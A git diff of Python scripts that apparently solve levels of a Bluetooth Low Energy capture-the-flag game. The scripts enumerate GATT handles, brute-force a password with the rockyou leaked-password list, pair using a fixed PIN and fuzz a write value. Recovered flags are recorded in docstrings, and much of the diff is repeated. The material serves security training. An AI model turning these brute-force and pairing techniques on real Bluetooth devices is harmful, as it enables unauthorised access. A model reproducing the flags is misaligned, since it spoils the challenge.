index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file
diff --git a/lvl_04.py b/lvl_04.py
new file mode 100755
index 0000000..21ede3e
--- /dev/null
+++ b/lvl_04.py
@@ -0,0 +1,104 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import itertools
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+Flag: f401f21d02fdd0a4fc00
+'''
+
+notificationData = ""
+
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, hndl):
+    btle.DefaultDelegate.__init__(self)
+    self.hndl=hndl;
+
+  def handleNotification(self, cHandle, data):
+    global notificationData
+    notificationData = data
+    #print("d: "+data)
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+p.disconnect()
+
+'''
+# of course not, this brute-force would make sense!
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(4,5))
+'''
+
+'''
+# not this!
+print("Generating wordlist")
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(12,13))
+'''
+
+print("Generating wordlist")
+generator = list()
+charset = list("0123456789ABCDEF")
+origPass = list("AABBCCDDEEFF")
+for x in range(len(origPass)): 
+  newPass = list("AABBCCDDEEFF")
+  for y in range(len(charset)):
+    newPass = list("AABBCCDDEEFF")
+    newPass[x] = charset[y]
+    generator.append("".join(newPass))
+
+for password in generator:
+  hexlif2 = binascii.unhexlify(password)
+  hexlif2 = str(hexlif2)
+
+  deviceMAC = open('ctf_mac.txt').read()  
+  p = btle.Peripheral(deviceMAC)
+
+  try:
+    srvs = (p.getServices());
+    chs=srvs[2].getCharacteristics();
+    ch=chs[1];
+    cccd = ch.valHandle + 1
+    #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
+
+    p.setDelegate(MyDelegate(ch.getHandle()));
+    svc=p.getServiceByUUID(0x00FF)
+    p.writeCharacteristic(cccd, b"\x01\x00");
+
+    sys.stdout.write("\rTrying: %s" % password.rstrip())
+    response = p.writeCharacteristic(0x2C, hexlif2)
+
+    gotResponse = False
+    while gotResponse == False:
+      if p.waitForNotifications(1.0):
+        rsp = notificationData
+        hex = binascii.b2a_hex(rsp)
+        hexstr = str(hex).strip("0").upper()
+        #sys.stdout.write(" Response: " + hexstr) # for debugging
+        
+        if(password.strip("0") != hexstr):
+          print(" Flag: %s" % notificationData.rstrip())
+          exit()
+        else:
+          gotResponse = True
+          continue
+      print "Waiting..."    
+    
+  finally:            
+    p.disconnect()
\ No newline at end of file
diff --git a/lvl_05.py b/lvl_05.py
new file mode 100755
index 0000000..f98d9b9
--- /dev/null
+++ b/lvl_05.py
@@ -0,0 +1,38 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         find a valid write value in this pcap to use below
+44  0x2C   READ WRITE   https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+84cf61c35b2d9c92217d
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 05")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+print("Sending \"121212121222\" to 0x2c")
+
+services=p.getServices()
+
+hexlif2 = binascii.unhexlify("121212121222")
+hexlif2 = str(hexlif2)
+response = p.writeCharacteristic(0x2C, hexlif2, True)
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file
diff --git a/lvl_04.py b/lvl_04.py
new file mode 100755
index 0000000..21ede3e
--- /dev/null
+++ b/lvl_04.py
@@ -0,0 +1,104 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import itertools
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+Flag: f401f21d02fdd0a4fc00
+'''
+
+notificationData = ""
+
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, hndl):
+    btle.DefaultDelegate.__init__(self)
+    self.hndl=hndl;
+
+  def handleNotification(self, cHandle, data):
+    global notificationData
+    notificationData = data
+    #print("d: "+data)
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+p.disconnect()
+
+'''
+# of course not, this brute-force would make sense!
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(4,5))
+'''
+
+'''
+# not this!
+print("Generating wordlist")
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(12,13))
+'''
+
+print("Generating wordlist")
+generator = list()
+charset = list("0123456789ABCDEF")
+origPass = list("AABBCCDDEEFF")
+for x in range(len(origPass)): 
+  newPass = list("AABBCCDDEEFF")
+  for y in range(len(charset)):
+    newPass = list("AABBCCDDEEFF")
+    newPass[x] = charset[y]
+    generator.append("".join(newPass))
+
+for password in generator:
+  hexlif2 = binascii.unhexlify(password)
+  hexlif2 = str(hexlif2)
+
+  deviceMAC = open('ctf_mac.txt').read()  
+  p = btle.Peripheral(deviceMAC)
+
+  try:
+    srvs = (p.getServices());
+    chs=srvs[2].getCharacteristics();
+    ch=chs[1];
+    cccd = ch.valHandle + 1
+    #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
+
+    p.setDelegate(MyDelegate(ch.getHandle()));
+    svc=p.getServiceByUUID(0x00FF)
+    p.writeCharacteristic(cccd, b"\x01\x00");
+
+    sys.stdout.write("\rTrying: %s" % password.rstrip())
+    response = p.writeCharacteristic(0x2C, hexlif2)
+
+    gotResponse = False
+    while gotResponse == False:
+      if p.waitForNotifications(1.0):
+        rsp = notificationData
+        hex = binascii.b2a_hex(rsp)
+        hexstr = str(hex).strip("0").upper()
+        #sys.stdout.write(" Response: " + hexstr) # for debugging
+        
+        if(password.strip("0") != hexstr):
+          print(" Flag: %s" % notificationData.rstrip())
+          exit()
+        else:
+          gotResponse = True
+          continue
+      print "Waiting..."    
+    
+  finally:            
